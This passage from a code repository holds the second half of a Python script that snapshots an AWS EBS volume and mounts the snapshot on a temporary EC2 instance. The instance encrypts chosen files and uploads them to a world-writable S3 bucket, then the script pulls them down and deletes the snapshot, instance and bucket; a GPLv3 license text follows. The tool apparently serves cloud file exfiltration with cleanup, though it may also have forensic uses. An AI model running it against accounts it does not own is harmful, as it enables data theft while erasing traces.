48 | sys.stdout.write(snapshot.progress+"\n") 49 | sys.stdout.write("Snapshot creation in progress\n") 50 | time.sleep(10) 51 | snapshot.load() 52 | else: 53 | sys.stdout.write("snapshot READY\n\n") 54 | sys.stdout.write('Created snapshot of ' + args.volume_id +' with ID ... %s\n\n' % snapshot.id) 55 | return(snapshot.id) 56 | 57 | def creatinstance(snapid,bucket): 58 | sys.stdout.write('Creating instance. This may take 5-10 minutes.\n\n') 59 | encryptor = """from cryptography.fernet import Fernet 60 | import sys 61 | open(sys.argv[2],'wb').write(Fernet(open('/tmp/k','rb').read()).encrypt(open(sys.argv[1],'rb').read()))""" 62 | 63 | b64e = base64.b64encode(encryptor) 64 | 65 | userDataBuilder = """#!/bin/bash 66 | sudo mkdir /mnt/i 67 | sudo mount -o nosuid,uid=1000,gid=1000 /dev/xvdb1 /mnt/i/ 68 | echo "##KEYREPLACE##" > /tmp/k 69 | echo "##ENCREPLACE##" | base64 -d > /tmp/e 70 | """ 71 | 72 | for line in files: 73 | filename = line.replace("/",".") 74 | encryptBuilder = """ 75 | python /tmp/e /mnt/i##PATHREPLACE## ./##FILENAMEREPLACE##.enc 76 | aws s3api put-object --bucket ##BUCKETREPLACE## --key ##FILENAMEREPLACE##.enc --body ./##FILENAMEREPLACE##.enc --no-sign-request --acl bucket-owner-full-control 77 | """ 78 | encryptBuilder = encryptBuilder.replace("##PATHREPLACE##", line) 79 | encryptBuilder = encryptBuilder.replace("##FILENAMEREPLACE##", args.volume_id + "." +filename[1:]) 80 | userDataBuilder += encryptBuilder 81 | 82 | userDataBuilder = userDataBuilder.replace("##KEYREPLACE##", k) 83 | userDataBuilder = userDataBuilder.replace("##ENCREPLACE##", b64e) 84 | userDataBuilder = userDataBuilder.replace("##BUCKETREPLACE##", bucket) 85 | 86 | zones = client.describe_availability_zones() 87 | zone = zones['AvailabilityZones'][0]['ZoneName'] 88 | 89 | instance = ec2.create_instances( 90 | BlockDeviceMappings=[ 91 | { 92 | 93 | 'DeviceName': '/dev/xvdb', 94 | 'Ebs': { 95 | 'SnapshotId': snapid, 96 | #Clean up on shutdown automatically 97 | 'DeleteOnTermination': True, 98 | #TODO 99 | 'VolumeSize': 30 100 | } 101 | }, 102 | ], 103 | #Amazon Linux 2 104 | ImageId='ami-0fc61db8544a617ed', 105 | InstanceType='t2.micro', 106 | MaxCount=1, 107 | MinCount=1, 108 | Monitoring={ 109 | 'Enabled': False 110 | }, 111 | Placement={ 112 | 'AvailabilityZone': zone 113 | }, 114 | UserData=userDataBuilder, 115 | DryRun=False, 116 | InstanceInitiatedShutdownBehavior='terminate', 117 | NetworkInterfaces=[ 118 | { 119 | 'AssociatePublicIpAddress': True, 120 | 'DeleteOnTermination': True, 121 | 'Description': 'Maintenance', 122 | 'DeviceIndex': 0 123 | }, 124 | ] 125 | ) 126 | #This is the thing that makes sure we don't delete the instance before the startup script finishes 127 | #I have not tested this with large file copies so this may need to be changed 128 | #My other idea is to write a finished file that we loop and look for 129 | waiter = client.get_waiter('instance_status_ok') 130 | waiter.wait(InstanceIds=[instance[0].id]) 131 | sys.stdout.write('Created Instance ID ... %s\n\n' % instance[0].id) 132 | 133 | return instance[0].id 134 | 135 | def createbucket(bucketname): 136 | s3_client.create_bucket(Bucket=bucketname) 137 | 138 | sys.stdout.write('Created Bucket ... %s\n\n' % bucketname) 139 | 140 | def setbucketperms(bucketname): 141 | bucket_policy = { 142 | 'Version': '2012-10-17', 143 | 'Statement': [{ 144 | 'Sid': 'AddPerm', 145 | 'Effect': 'Allow', 146 | 'Principal': '*', 147 | 'Action': ['s3:PutObject'], 148 | 'Resource': 'arn:aws:s3:::%s/*' % bucketname 149 | }] 150 | } 151 | 152 | # Convert the policy from JSON dict to string 153 | bucket_policy = json.dumps(bucket_policy) 154 | 155 | # Set the new policy 156 | s3_client.put_bucket_policy(Bucket=bucketname, Policy=bucket_policy) 157 | 158 | 159 | sys.stdout.write('Set Permissions on Bucket ... %s\n\n' % bucketname) 160 | 161 | def deletesnapshot(snapid): 162 | response = client.delete_snapshot(SnapshotId=snapid) 163 | sys.stdout.write('Deleted Snapshot ID ... %s\n\n' % snapid) 164 | return response 165 | 166 | def deleteinstance(instanceid): 167 | response = client.terminate_instances(InstanceIds=[instanceid]) 168 | sys.stdout.write('Deleted Instance ID ... %s\n\n' % instanceid) 169 | return response 170 | 171 | def deletebucket(bucketname): 172 | s3_bucket = boto3.resource('s3').Bucket(bucketname) 173 | s3_bucket.objects.all().delete() 174 | s3_bucket.delete() 175 | 176 | sys.stdout.write('Deleted Bucket ... %s\n\n' % bucketname) 177 | 178 | def dl_decrypt(bucket,keyname,enckey): 179 | try: 180 | obj = s3.Object(bucket, keyname) 181 | file = obj.get()['Body'].read() 182 | 183 | f = Fernet(enckey) 184 | open(keyname.replace(".enc",""),'wb').write(f.decrypt(file)) 185 | sys.stdout.write("Succesfully downloaded and decrypted file: " + keyname.replace(".enc","") + "\n\n") 186 | except: 187 | sys.stdout.write("File " + keyname + "does not exist\n") 188 | sys.stdout.write("Or something went very wrong\n\n") 189 | 190 | 191 | #Generate a bucket name 192 | bname=''.join(random.SystemRandom().choice(string.ascii_lowercase + string.digits) for _ in range(32)) 193 | 194 | # Again most of these functions don't do great error checking. 195 | createbucket(bname) 196 | setbucketperms(bname) 197 | snapid=createsnapshot() 198 | instanceid=creatinstance(snapid, bname) 199 | 200 | 201 | for line in files: 202 | filename = line.replace("/",".") 203 | filename = args.volume_id + "." +filename[1:] + ".enc" 204 | dl_decrypt(bname,filename,k) 205 | 206 | deletebucket(bname) 207 | deletesnapshot(snapid) 208 | deleteinstance(instanceid) 209 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------